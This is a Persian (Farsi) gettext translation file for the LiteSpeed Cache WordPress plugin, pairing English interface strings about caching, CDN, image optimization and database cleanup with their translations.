#: tpl/img_optm/summary.tpl.php:142
msgid "This process is automatic."
msgstr "این فرایند اتوماتیک است."

#: tpl/dash/dashboard.tpl.php:568 tpl/img_optm/summary.tpl.php:322
msgid "Last Request"
msgstr "آخرین درخواست"

#: tpl/dash/dashboard.tpl.php:545 tpl/img_optm/summary.tpl.php:319
msgid "Images Pulled"
msgstr "تصاویر فشرده شده"

#: tpl/toolbox/entry.tpl.php:29
msgid "Report"
msgstr "گزارش"

#: tpl/toolbox/report.tpl.php:139
msgid "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum."
msgstr "این گزارش را به LiteSpeed ارسال کنید. هنگام ارسال در انجمن پشتیبانی وردپرس، به این شماره گزارش مراجعه کنید."

#: tpl/toolbox/report.tpl.php:38
msgid "Send to LiteSpeed"
msgstr "ارسال به لایت اسپید"

#: src/media.cls.php:304
msgid "LiteSpeed Optimization"
msgstr "بهینه‌سازی LiteSpeed"

#: src/lang.cls.php:165
msgid "Load Google Fonts Asynchronously"
msgstr "بارگیری ناهمگام فونت‌های گوگل"

#: src/lang.cls.php:97
msgid "Browser Cache TTL"
msgstr "کش مرورگر TTL"

#. translators: %s: Link tags
#: tpl/img_optm/summary.tpl.php:337
msgid "Results can be checked in %sMedia Library%s."
msgstr "نتایج را می‌توان در %sکتابخانه رسانه%s بررسی کرد."

#: src/doc.cls.php:87 src/doc.cls.php:139 tpl/dash/dashboard.tpl.php:186
#: tpl/dash/dashboard.tpl.php:845 tpl/general/online.tpl.php:81
#: tpl/general/online.tpl.php:93 tpl/general/online.tpl.php:109
#: tpl/general/online.tpl.php:114 tpl/img_optm/summary.tpl.php:59
#: tpl/inc/check_cache_disabled.php:46 tpl/page_optm/settings_media.tpl.php:301
msgid "Learn More"
msgstr "اطلاعات بیشتر"

#: tpl/img_optm/summary.tpl.php:285
msgid "Image groups total"
msgstr "جمع گروه‌های تصویر"

#: src/lang.cls.php:28
msgid "Images optimized and pulled"
msgstr "تصاویر بهینه‌سازی شده و فشرده شده‌"

#: src/lang.cls.php:26 tpl/dash/dashboard.tpl.php:551
msgid "Images requested"
msgstr "تصاویر درخواست شده"

#: src/img-optm.cls.php:1989 src/img-optm.cls.php:2049
msgid "Switched to optimized file successfully."
msgstr "تغییر به فایل بهینه‌سازی شده با موفقیت انجام شد."

#: src/img-optm.cls.php:2043
msgid "Restored original file successfully."
msgstr "فایل اصلی با موفقیت بازیابی شد."

#: src/img-optm.cls.php:2013
msgid "Enabled WebP file successfully."
msgstr "فعالسازی فایل WebP موفق بود."

#: src/img-optm.cls.php:2008
msgid "Disabled WebP file successfully."
msgstr "غیرفعالسازی فایل WebP موفق بود."

#: tpl/img_optm/settings.media_webp.tpl.php:26
msgid "Significantly improve load time by replacing images with their optimized %s versions."
msgstr "به طور قابل توجهی زمان بارگذاری را با جایگزینی تصاویر با نسخه‌های بهینه شده %s بهبود می بخشد."

#: tpl/cache/settings-excludes.tpl.php:135
msgid "Selected roles will be excluded from cache."
msgstr "نقش‌های انتخاب شده از کش حذف خواهند شد."

#: tpl/general/entry.tpl.php:18 tpl/page_optm/entry.tpl.php:23
#: tpl/page_optm/entry.tpl.php:24
msgid "Tuning"
msgstr "تراز"

#: tpl/page_optm/settings_tuning.tpl.php:156
msgid "Selected roles will be excluded from all optimizations."
msgstr "نقش‌های انتخاب شده از تمام بهینه‌سازی‌ها حذف خواهند شد."

#: src/lang.cls.php:177
msgid "Role Excludes"
msgstr "استثنائات نقش"

#: tpl/general/settings_tuning.tpl.php:19
#: tpl/page_optm/settings_tuning.tpl.php:29
msgid "Tuning Settings"
msgstr "تنظیمات تراز"

#: tpl/cache/settings-excludes.tpl.php:106
msgid "If the tag slug is not found, the tag will be removed from the list on save."
msgstr "اگر نامک برچسب یافت نشد، برچسب از لیست در هنگام ذخیره حذف خواهد شد."

#: tpl/cache/settings-excludes.tpl.php:73
msgid "If the category name is not found, the category will be removed from the list on save."
msgstr "اگر نامک دسته پیدا نشود، دسته از لیست در هنگام ذخیره حذف خواهد شد."

#: tpl/img_optm/summary.tpl.php:141
msgid "After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images."
msgstr "پس از اینکه بهینه‌سازی تصاویر سرور لایت اسپید به پایان برسد، اعلانی به شما می‌دهد تا تصاویر بهینه شده را دریافت کنید."

#: tpl/dash/dashboard.tpl.php:536 tpl/img_optm/summary.tpl.php:76
#: tpl/img_optm/summary.tpl.php:89
msgid "Send Optimization Request"
msgstr "ارسال درخواست بهینه‌سازی"

#: tpl/img_optm/summary.tpl.php:276
msgid "Image Information"
msgstr "اطلاعات تصویر"

#: tpl/dash/dashboard.tpl.php:542 tpl/img_optm/summary.tpl.php:316
msgid "Total Reduction"
msgstr "کل کاهش"

#: tpl/img_optm/summary.tpl.php:313
msgid "Optimization Summary"
msgstr "خلاصه بهینه‌سازی"

#: tpl/img_optm/entry.tpl.php:30
msgid "LiteSpeed Cache Image Optimization"
msgstr "بهینه‌سازی تصاویر کش لایت اسپید"

#: src/admin-display.cls.php:256 src/gui.cls.php:727
#: tpl/dash/dashboard.tpl.php:203 tpl/dash/network_dash.tpl.php:36
#: tpl/general/online.tpl.php:75 tpl/general/online.tpl.php:134
#: tpl/general/online.tpl.php:149 tpl/presets/standard.tpl.php:32
msgid "Image Optimization"
msgstr "بهینه‌سازی تصویر"

#: tpl/page_optm/settings_media.tpl.php:62
msgid "For example, %s can be used for a transparent placeholder."
msgstr "به عنوان مثال: %s می‌تواند برای یک نگهدارنده شفاف استفاده شود."

#: tpl/page_optm/settings_media.tpl.php:61
msgid "By default a gray image placeholder %s will be used."
msgstr "به طور پیش‌فرض یک تصویر خاکستری نگهدارنده %s مورد استفاده قرار خواهد گرفت."

#: tpl/page_optm/settings_media.tpl.php:60
msgid "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority."
msgstr "این می‌تواند در %2$s و با استفاده از ثابت %1$s از قبل تعریف شود، با این تنظیمات اولویت دارد."

#: tpl/page_optm/settings_media.tpl.php:59
msgid "Specify a base64 image to be used as a simple placeholder while images finish loading."
msgstr "یک تصویر base64 مشخص کنید که به عنوان یک جایگزین ساده در حین بارگذاری تصاویر استفاده شود."

#: tpl/page_optm/settings_media_exc.tpl.php:38
#: tpl/page_optm/settings_tuning.tpl.php:70
#: tpl/page_optm/settings_tuning.tpl.php:91
#: tpl/page_optm/settings_tuning.tpl.php:112
#: tpl/page_optm/settings_tuning_css.tpl.php:37
msgid "Elements with attribute %s in html code will be excluded."
msgstr "عناصر با صفت %s در کد HTML حذف خواهند شد."

#: tpl/cache/settings-esi.tpl.php:104
#: tpl/page_optm/settings_media_exc.tpl.php:37
#: tpl/page_optm/settings_tuning.tpl.php:49
#: tpl/page_optm/settings_tuning.tpl.php:69
#: tpl/page_optm/settings_tuning.tpl.php:90
#: tpl/page_optm/settings_tuning.tpl.php:111
#: tpl/page_optm/settings_tuning.tpl.php:130
#: tpl/page_optm/settings_tuning_css.tpl.php:36
#: tpl/page_optm/settings_tuning_css.tpl.php:97
msgid "Filter %s is supported."
msgstr "فیلتر %s پشتیبانی می شود."

#: tpl/page_optm/settings_media_exc.tpl.php:31
msgid "Listed images will not be lazy loaded."
msgstr "تصاویر لیست شده بارگذاری تنبل نمی شود."

#: src/lang.cls.php:184
msgid "Lazy Load Image Excludes"
msgstr "استثنا تصاویر از بارگذاری تنبل"

#: src/gui.cls.php:539
msgid "No optimization"
msgstr "بدون بهینه‌سازی"

#: tpl/page_optm/settings_tuning.tpl.php:126
msgid "Prevent any optimization of listed pages."
msgstr "جلوگیری از هرگونه بهینه‌سازی صفحات فهرست‌شده."

#: src/lang.cls.php:175
msgid "URI Excludes"
msgstr "استثنائات URL"

#: tpl/page_optm/settings_html.tpl.php:174
msgid "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead."
msgstr "توقف بارگذاری emoticon wordpress.org. Emoji به طور پیش‌فرض اموجی‌های مرورگر به جای آن نمایش داده می شود."

#: src/doc.cls.php:125
msgid "Both full URLs and partial strings can be used."
msgstr "هر دو URL کامل و رشته‌های جزئی می‌تواند مورد استفاده قرار گیرد."

#: tpl/page_optm/settings_media.tpl.php:234
msgid "Load iframes only when they enter the viewport."
msgstr "لود آی‌فریم فقط وقتی که به محل نمایش وارد می شوند."

#: src/lang.cls.php:200
msgid "Lazy Load Iframes"
msgstr "آی‌فریم لود تنبل"

#: tpl/page_optm/settings_media.tpl.php:41
#: tpl/page_optm/settings_media.tpl.php:235
msgid "This can improve page loading time by reducing initial HTTP requests."
msgstr "این می‌تواند با کاهش درخواست اولیه HTTP، زمان بارگذاری صفحه را بهبود بخشد."

#: tpl/page_optm/settings_media.tpl.php:40
msgid "Load images only when they enter the viewport."
msgstr "بارگذاری تصاویر زمانی که آنها به محل نمایش وارد می شوند."

#: src/lang.cls.php:183
msgid "Lazy Load Images"
msgstr "بارگذاری تنبل تصاویر"

#: tpl/page_optm/entry.tpl.php:19 tpl/page_optm/settings_media.tpl.php:26
msgid "Media Settings"
msgstr "تنظیمات رسانه"

#: tpl/cache/settings-excludes.tpl.php:46
msgid "For example, for %1$s, %2$s and %3$s can be used here."
msgstr "برای مثال، برای %1$s، میتوان از %2$s و %3$s در این قسمت استفاده کرد."

#: tpl/cache/settings-esi.tpl.php:113 tpl/cache/settings-purge.tpl.php:111
#: tpl/cdn/other.tpl.php:169
msgid "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s."
msgstr "Wildcard %1$s پشتیبانی شده (مطابقت صفر یا بیشتر از کاراکترها). برای مثال، برای مطابقت با %2$s و %3$s، از %4$s استفاده کنید."

#. translators: %s: caret symbol
#: src/admin-display.cls.php:1538
msgid "To match the beginning, add %s to the beginning of the item."
msgstr "برای مطابقت با شروع، %s را به ابتدای آیتم اضافه کنید."

#. translators: 1: example URL, 2: pattern example
#: src/admin-display.cls.php:1535
msgid "For example, for %1$s, %2$s can be used here."
msgstr "برای مثال، برای %1$s, می‌توان از %2$s در اینجا استفاده کرد."

#: tpl/banner/score.php:117
msgid "Maybe later"
msgstr "شاید بعدا"

#: tpl/banner/score.php:116
msgid "I've already left a review"
msgstr "قبلاً نظر خود را ثبت کرده‌ام"

#: tpl/banner/slack.php:20
msgid "Welcome to LiteSpeed"
msgstr "به LiteSpeed خوش آمدید"

#: src/lang.cls.php:173 tpl/presets/standard.tpl.php:51
msgid "Remove WordPress Emoji"
msgstr "حذف Emoji وردپرس"

#: src/gui.cls.php:547
msgid "More settings"
msgstr "تنظیمات بیشتر"

#: src/gui.cls.php:528
msgid "Private cache"
msgstr "کش خصوصی"

#: src/gui.cls.php:517
msgid "Non cacheable"
msgstr "غیرقابل‌کش"

#: src/gui.cls.php:494
msgid "Mark this page as "
msgstr "علامتگذاری این صفحه به‌عنوان "

#: src/gui.cls.php:470 src/gui.cls.php:485
msgid "Purge this page"
msgstr "پاکسازی این صفحه"

#: src/lang.cls.php:155
msgid "Load JS Deferred"
msgstr "بارگذاری JS با تاخیر"

#: tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Specify critical CSS rules for above-the-fold content when enabling %s."
msgstr "قوانین CSS بحرانی را برای محتوای above-the-fold تا هنگامی که %s را ممکن می‌سازد، مشخص کنید."

#: src/lang.cls.php:167
msgid "Critical CSS Rules"
msgstr "قوانین CSS بحرانی"

#: src/lang.cls.php:151 tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Load CSS Asynchronously"
msgstr "بارگذاری CSS ناهمگام"

#: tpl/page_optm/settings_html.tpl.php:161
msgid "Prevent Google Fonts from loading on all pages."
msgstr "از بارگذاری Google Fonts در تمام صفحات جلوگیری کنید."

#: src/lang.cls.php:166
msgid "Remove Google Fonts"
msgstr "حذف فونت‌های گوگل"

#: tpl/page_optm/settings_css.tpl.php:216
#: tpl/page_optm/settings_html.tpl.php:175 tpl/page_optm/settings_js.tpl.php:81
msgid "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed."
msgstr "این می‌تواند نمره سرعت شما را در خدمات مانند Pingdom ،GTmetrix و PageSpeed بهبود دهد."

#: tpl/page_optm/settings_html.tpl.php:123
msgid "Remove query strings from internal static resources."
msgstr "حذف رشته‌های پرس و جو از منابع استاتیک داخلی."

#: src/lang.cls.php:164
msgid "Remove Query Strings"
msgstr "حذف رشته‌های Query"

#: tpl/cache/settings_inc.exclude_useragent.tpl.php:28
msgid "user agents"
msgstr "User Agents"

#: tpl/cache/settings_inc.exclude_cookies.tpl.php:28
msgid "cookies"
msgstr "کوکی‌ها"

#. translators: %s: Link tags
#: tpl/cache/settings_inc.browser.tpl.php:46
msgid "You can turn on browser caching in server admin too. %sLearn more about LiteSpeed browser cache settings%s."
msgstr "شما می‌توانید کش مرورگر را در بخش مدیریت سرور نیز فعال کنید. %sدرباره تنظیمات کش مرورگر LiteSpeed بیشتر بدانید%s."

#: tpl/cache/settings_inc.browser.tpl.php:41
msgid "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files."
msgstr "کش سازی مرورگر فایل‌های استاتیک محلی را در مرورگر کاربر کش می کند. این تنظیم را برای کاهش درخواست‌های مکرر برای فایل‌های استاتیک فعال کنید."

#: src/lang.cls.php:90 tpl/dash/dashboard.tpl.php:61
#: tpl/dash/dashboard.tpl.php:604 tpl/presets/standard.tpl.php:21
msgid "Browser Cache"
msgstr "کش مرورگر"

#: tpl/cache/settings-excludes.tpl.php:100
msgid "tags"
msgstr "برچسب‌ها"

#: src/lang.cls.php:135
msgid "Do Not Cache Tags"
msgstr "برچسب‌ها را کش نکنید"

#: tpl/cache/settings-excludes.tpl.php:110
msgid "To exclude %1$s, insert %2$s."
msgstr "برای استثنا کردن %1$s، %2$s را وارد کنید."

#: tpl/cache/settings-excludes.tpl.php:67
msgid "categories"
msgstr "دسته‌بندی‌ها"

#. translators: %s: "cookies"
#. translators: %s: "user agents"
#: tpl/cache/settings-excludes.tpl.php:67
#: tpl/cache/settings-excludes.tpl.php:100
#: tpl/cache/settings_inc.exclude_cookies.tpl.php:27
#: tpl/cache/settings_inc.exclude_useragent.tpl.php:27
msgid "To prevent %s from being cached, enter them here."
msgstr "برای جلوگیری از ذخیره شدن %s در حافظه پنهان، آنها را اینجا وارد کنید."

#: src/lang.cls.php:134
msgid "Do Not Cache Categories"
msgstr "دسته‌بندی‌ها را کش نکنید"

#: tpl/cache/settings-excludes.tpl.php:45
msgid "Query strings containing these parameters will not be cached."
msgstr "رشته‌های پرس و جو که شامل این پارامترها هستند، کش نخواهند شد."

#: src/lang.cls.php:133
msgid "Do Not Cache Query Strings"
msgstr "رشته‌های Query را کش نکنید"

#: tpl/cache/settings-excludes.tpl.php:30
msgid "Paths containing these strings will not be cached."
msgstr "مسیرهای حاوی این رشته‌ها کش نخواهند شد."

#: src/lang.cls.php:132
msgid "Do Not Cache URIs"
msgstr "URI‌ها را کش نکنید"

#: src/admin-display.cls.php:1541 src/doc.cls.php:108
msgid "One per line."
msgstr "هر خط یک مورد."

#: tpl/cache/settings-cache.tpl.php:119
msgid "URI Paths containing these strings will NOT be cached as public."
msgstr "مسیرهای URI حاوی این رشته‌ها به عنوان عمومی کش نمی شوند."

#: src/lang.cls.php:109
msgid "Private Cached URIs"
msgstr "کش لینک‌های خصوصی"

#: tpl/cdn/other.tpl.php:210
msgid "Paths containing these strings will not be served from the CDN."
msgstr "مسیرهای حاوی این رشته‌ها از CDN نمی گذرند."

#: src/lang.cls.php:245
msgid "Exclude Path"
msgstr "حذف مسیر"

#: src/lang.cls.php:241 tpl/cdn/other.tpl.php:113
msgid "Include File Types"
msgstr "شامل انواع فایل‌ها"

#: tpl/cdn/other.tpl.php:97
msgid "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files."
msgstr "تمام فایلهای جاوا اسکریپت را از طریق CDN بگذرانید. این کار تمام فایلهای جاوا اسکریپت WP-enabled را تحت تاثیر قرار می دهد."

#: src/lang.cls.php:240
msgid "Include JS"
msgstr "شامل JS"

#: tpl/cdn/other.tpl.php:94
msgid "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files."
msgstr "تمام فایل‌های CSS را از طریق CDN بگذرانید. این همه فایلهای CSS WP enqueued را تحت تاثیر قرار می دهد."

#: src/lang.cls.php:239
msgid "Include CSS"
msgstr "شامل CSS"

#: tpl/cdn/other.tpl.php:87
msgid "Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes."
msgstr "سرو همه فایلهای تصویری از طریق CDN. این کار بر روی تمام پیوست‌ها، تگ‌های HTML %1$s و ویژگیهای CSS %2$s تأثیر خواهد گذاشت."

#: src/lang.cls.php:238
msgid "Include Images"
msgstr "شامل تصاویر"

#: src/admin-display.cls.php:472
msgid "CDN URL to be used. For example, %s"
msgstr "آدرس CDN مورد استفاده قرار می گیرد به عنوان مثال: %s"

#: src/lang.cls.php:237
msgid "CDN URL"
msgstr "آدرس CDN"

#: tpl/cdn/other.tpl.php:161
msgid "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s."
msgstr "آدرس سایت که از طریق CDN سرویس داده می‌شود. با %1$s شروع شده است. برای مثال، %2$s."

#: src/lang.cls.php:243
msgid "Original URLs"
msgstr "URL‌های اصلی"

#: tpl/cdn/other.tpl.php:28
msgid "CDN Settings"
msgstr "تنظیمات CDN"

#: src/admin-display.cls.php:255
msgid "CDN"
msgstr "CDN"

#: src/admin-display.cls.php:477 src/admin-display.cls.php:1158
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.object.tpl.php:280 tpl/cdn/other.tpl.php:53
#: tpl/dash/dashboard.tpl.php:69 tpl/dash/dashboard.tpl.php:461
#: tpl/dash/dashboard.tpl.php:583 tpl/dash/dashboard.tpl.php:612
#: tpl/img_optm/settings.media_webp.tpl.php:22
#: tpl/page_optm/settings_css.tpl.php:93 tpl/page_optm/settings_js.tpl.php:77
#: tpl/page_optm/settings_media.tpl.php:180
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "OFF"
msgstr "خاموش"

#: src/admin-display.cls.php:476 src/admin-display.cls.php:1157
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: src/doc.cls.php:39 tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.cache_mobile.tpl.php:91 tpl/cdn/other.tpl.php:45
#: tpl/crawler/settings.tpl.php:138 tpl/dash/dashboard.tpl.php:67
#: tpl/dash/dashboard.tpl.php:459 tpl/dash/dashboard.tpl.php:581
#: tpl/dash/dashboard.tpl.php:610 tpl/page_optm/settings_css.tpl.php:220
#: tpl/page_optm/settings_media.tpl.php:176
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "ON"
msgstr "روشن"

#: src/purge.cls.php:379
msgid "Notified LiteSpeed Web Server to purge CSS/JS entries."
msgstr "پاکسازی ورودی‌های CSS/JS به LiteSpeed Web Server اعلام شد."

#: tpl/page_optm/settings_html.tpl.php:31
msgid "Minify HTML content."
msgstr "کوچک‌سازی محتوای HTML."

#: src/lang.cls.php:148
msgid "HTML Minify"
msgstr "HTML Minify"

#: src/lang.cls.php:163
msgid "JS Excludes"
msgstr "استثنائات JS"

#: src/lang.cls.php:146
msgid "JS Combine"
msgstr "ترکیب JS"

#: src/lang.cls.php:145
msgid "JS Minify"
msgstr "JS Minify"

#: src/lang.cls.php:161
msgid "CSS Excludes"
msgstr "استثنائات CSS"

#: src/lang.cls.php:138
msgid "CSS Combine"
msgstr "ترکیب CSS"

#: src/lang.cls.php:137
msgid "CSS Minify"
msgstr "CSS Minify"

#: tpl/page_optm/entry.tpl.php:43
msgid "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action."
msgstr "لطفا هر گونه گزینه ای را در این لیست تست کنید. بعد از تغییر تنظیمات Minify/Combine، لطفا همه فعالیت‌ها را خاتمه دهید."

#: tpl/toolbox/purge.tpl.php:48
msgid "This will purge all minified/combined CSS/JS entries only"
msgstr "این فقط تمام ورودی‌های CSS/JS کوچک‌شده/ترکیب‌شده را پاک می‌کند"

#: tpl/toolbox/purge.tpl.php:32
msgid "Purge %s Error"
msgstr "پاکسازی %s خطا"

#: tpl/db_optm/manage.tpl.php:90
msgid "Database Optimizer"
msgstr "بهینه‌سازی پایگاه داده"

#: tpl/db_optm/manage.tpl.php:58
msgid "Optimize all tables in your database"
msgstr "بهینه‌سازی تمام جداول در پایگاه داده"

#: tpl/db_optm/manage.tpl.php:57
msgid "Optimize Tables"
msgstr "بهینه‌سازی جداول"

#: tpl/db_optm/manage.tpl.php:54
msgid "Clean all transient options"
msgstr "پاکسازی داده‌های گذرای"

#: tpl/db_optm/manage.tpl.php:53
msgid "All Transients"
msgstr "داده‌های گذرا"

#: tpl/db_optm/manage.tpl.php:50
msgid "Clean expired transient options"
msgstr "پاکسازی داده‌های گذرای منقضی شده"

#: tpl/db_optm/manage.tpl.php:49
msgid "Expired Transients"
msgstr "نشست‌های منقضی شده"

#: tpl/db_optm/manage.tpl.php:46
msgid "Clean all trackbacks and pingbacks"
msgstr "پاکسازی Trackbacks و Pingbacks"

#: tpl/db_optm/manage.tpl.php:45
msgid "Trackbacks/Pingbacks"
msgstr "Trackbacks/Pingbacks"

#: tpl/db_optm/manage.tpl.php:42
msgid "Clean all trashed comments"
msgstr "پاکسازی دیدگاه‌های زباله‌دان"

#: tpl/db_optm/manage.tpl.php:41
msgid "Trashed Comments"
msgstr "دیدگاه‌های زباله‌دان"

#: tpl/db_optm/manage.tpl.php:38
msgid "Clean all spam comments"
msgstr "پاکسازی دیدگاه‌های اسپم"

#: tpl/db_optm/manage.tpl.php:37
msgid "Spam Comments"
msgstr "دیدگاه‌های اسپم"

#: tpl/db_optm/manage.tpl.php:34
msgid "Clean all trashed posts and pages"
msgstr "پاکسازی تمام پست‌های زباله‌دن"

#: tpl/db_optm/manage.tpl.php:33
msgid "Trashed Posts"
msgstr "پست‌های زباله‌دان"

#: tpl/db_optm/manage.tpl.php:30
msgid "Clean all auto saved drafts"
msgstr "پاکسازی تمام پیش‌نویس‌های خودکار"

#: tpl/db_optm/manage.tpl.php:29
msgid "Auto Drafts"
msgstr "پیش‌نویس‌های خودکار"

#: tpl/db_optm/manage.tpl.php:22
msgid "Clean all post revisions"
msgstr "پاکسازی تمام ویرایش‌های پست"

#: tpl/db_optm/manage.tpl.php:21
msgid "Post Revisions"
msgstr "ویرایش‌های پست"

#: tpl/db_optm/manage.tpl.php:17
msgid "Clean All"
msgstr "پاکسازی همه"

#: src/db-optm.cls.php:241
msgid "Optimized all tables."
msgstr "تمام جداول بهینه‌سازی شدند."

#: src/db-optm.cls.php:231
msgid "Clean all transients successfully."
msgstr "پاکسازی داده‌های گذرا موفق بود."

#: src/db-optm.cls.php:227
msgid "Clean expired transients successfully."
msgstr "پاکسازی داده‌های گذرای منقضی شود موفق بود."

#: src/db-optm.cls.php:223
msgid "Clean trackbacks and pingbacks successfully."
msgstr "پاکسازی Trackbacks و Pingbacks موفق بود."

#: src/db-optm.cls.php:219
msgid "Clean trashed comments successfully."
msgstr "پاکسازی دیدگاه‌های زباله‌دان موفق بود."

#: src/db-optm.cls.php:215
msgid "Clean spam comments successfully."
msgstr "پاکسازی دیدگاه‌های اسپم موفق بود."

#: src/db-optm.cls.php:211
msgid "Clean trashed posts and pages successfully."
msgstr "پاکسازی پست‌های زباله‌دان موفق بود."

#: src/db-optm.cls.php:207
msgid "Clean auto drafts successfully."
msgstr "پاکسازی پیش‌نویس‌های خودکار موفق بود."

#: src/db-optm.cls.php:199
msgid "Clean post revisions successfully."
msgstr "پاکسازی ویرایش‌های پست موفق بود."

#: src/db-optm.cls.php:142
msgid "Clean all successfully."
msgstr "پاکسازی موفق بود."

#: src/lang.cls.php:92
msgid "Default Private Cache TTL"
msgstr "کش خصوصی پیش‌فرض TTL"

#: tpl/cache/settings-esi.tpl.php:141
msgid "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page."
msgstr "اگر سایت شما حاوی محتوای عمومی است که برخی از نقش‌های کاربر می‌توانند ببینند اما سایر نقش‌ها نمی‌توانند، شما می‌توانید گروه Vary را برای آن دسته از کاربر‌ها مشخص کنید. به عنوان مثال، مشخص کردن یک مدیر گروه متفاوت، اجازه می دهد یک صفحه جداگانه عمومی کش شده برای مدیران (با \"ویرایش\" لینک‌ها و ...) داشته باشید، در حالی که همه نقش‌های دیگر به طور پیش‌فرض صفحه عمومی را مشاهده می کنند."

#: src/lang.cls.php:220 tpl/page_optm/settings_css.tpl.php:140
#: tpl/page_optm/settings_css.tpl.php:277 tpl/page_optm/settings_vpi.tpl.php:88
msgid "Vary Group"
msgstr "گروه Vary"

#: tpl/cache/settings-esi.tpl.php:85
msgid "Cache the built-in Comment Form ESI block."
msgstr "کش کردن بلوک ESI فرم نظر داخلی."

#: src/lang.cls.php:218
msgid "Cache Comment Form"
msgstr "کش فرم دیدگاه"

#: tpl/cache/settings-esi.tpl.php:72
msgid "Cache the built-in Admin Bar ESI block."
msgstr "کش کردن بلوک ESI نوار مدیریت داخلی."

#: src/lang.cls.php:217
msgid "Cache Admin Bar"
msgstr "کش صفحه مدیریت"

#: tpl/cache/settings-esi.tpl.php:59
msgid "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below."
msgstr "برای کش کردن صفحات عمومی برای کاربران وارد شده، و ارائه نوار مدیریت و فرم نظر از طریق بلوک‌های ESI، آن را روشن کنید. این دو بلوک مگر اینکه زیر اینجا فعال شوند، کش نخواهند شد."

#: tpl/cache/settings-esi.tpl.php:21
msgid "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all."
msgstr "ESI به شما امکان می‌دهد بخش‌هایی از صفحه پویا را به‌عنوان قطعات جداگانه تعیین کنید که سپس برای ساخت کل صفحه کنار هم چیده می‌شوند. به عبارت دیگر، ESI به شما اجازه می‌دهد در صفحه «سوراخ» ایجاد کنید و سپس آن سوراخ‌ها را با محتوایی پر کنید که ممکن است به‌صورت خصوصی کش شود، به‌صورت عمومی با TTL مخصوص کش شود، یا اصلاً کش نشود."

#: tpl/cache/settings-esi.tpl.php:20
msgid "With ESI (Edge Side Includes), pages may be served from cache for logged-in users."
msgstr "با ESI (Edge Side Includes)، صفحات از کش کاربران وارد شده ارائه می شوند."

#: tpl/esi_widget_edit.php:53
msgid "Private"
msgstr "خصوصی"

#: tpl/esi_widget_edit.php:52
msgid "Public"
msgstr "عمومی"

#: tpl/cache/network_settings-purge.tpl.php:17
#: tpl/cache/settings-purge.tpl.php:15
msgid "Purge Settings"
msgstr "تنظیمات پاکسازی"

#: src/lang.cls.php:107 tpl/cache/settings_inc.cache_mobile.tpl.php:90
msgid "Cache Mobile"
msgstr "کش موبایل"

#: tpl/toolbox/settings-debug.tpl.php:119
msgid "Advanced level will log more details."
msgstr "سطح پیشرفته جزئیات بیشتری را ثبت می کند."

#: tpl/presets/standard.tpl.php:29 tpl/toolbox/settings-debug.tpl.php:117
msgid "Basic"
msgstr "پایه‌ای"

#: tpl/crawler/settings.tpl.php:73
msgid "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated."
msgstr "حداکثر بار سرور مجاز هنگام خزیدن مجاز است. تعداد رشته‌های خزنده فعال مورد استفاده کاهش خواهد یافت تا زمانی که بار سرور به طور متوسط زیر این حد افت کند. اگر این کار با یک رشته واحد به دست نیاید، خزیدن فعلی به پایان خواهد رسید."

#: src/lang.cls.php:106
msgid "Cache Login Page"
msgstr "کش صفحه ورود"

#: tpl/cache/settings-cache.tpl.php:89
msgid "Cache requests made by WordPress REST API calls."
msgstr "کش کردن درخواست‌های ایجادشده توسط تماس‌های WordPress REST API."

#: src/lang.cls.php:105
msgid "Cache REST API"
msgstr "کش REST API"

#: tpl/cache/settings-cache.tpl.php:76
msgid "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)"
msgstr "کش خصوصی نظر دهندگان که نظرات در انتظار بررسی دارند. غیرفعال کردن این گزینه صفحات غیر قابل کش شدن را برای commenters ارائه می دهد. (LSWS %s مورد نیاز است)"

#: src/lang.cls.php:104
msgid "Cache Commenters"
msgstr "کش نظر دهندکان"

#: tpl/cache/settings-cache.tpl.php:63
msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)"
msgstr "صفحات ظاهری خصوصی را برای کاربران وارد شده کش کنید. (LSWS %s مورد نیاز است)"

#: src/lang.cls.php:103
msgid "Cache Logged-in Users"
msgstr "کش کاربران وارد شده"

#: tpl/cache/network_settings-cache.tpl.php:17
#: tpl/cache/settings-cache.tpl.php:15
msgid "Cache Control Settings"
msgstr "تنظیمات کنترل کش"

#: tpl/cache/entry.tpl.php:70
msgid "ESI"
msgstr "ESI"

#: tpl/cache/entry.tpl.php:19 tpl/cache/entry.tpl.php:69
msgid "Excludes"
msgstr "استثنائات"

#: tpl/cache/entry.tpl.php:18 tpl/cache/entry.tpl.php:68
#: tpl/toolbox/entry.tpl.php:16 tpl/toolbox/purge.tpl.php:141
msgid "Purge"
msgstr "پاکسازی"

#: src/admin-display.cls.php:254 tpl/cache/entry.tpl.php:17
#: tpl/cache/entry.tpl.php:66
msgid "Cache"
msgstr "کش"

#: tpl/inc/show_rule_conflict.php:16
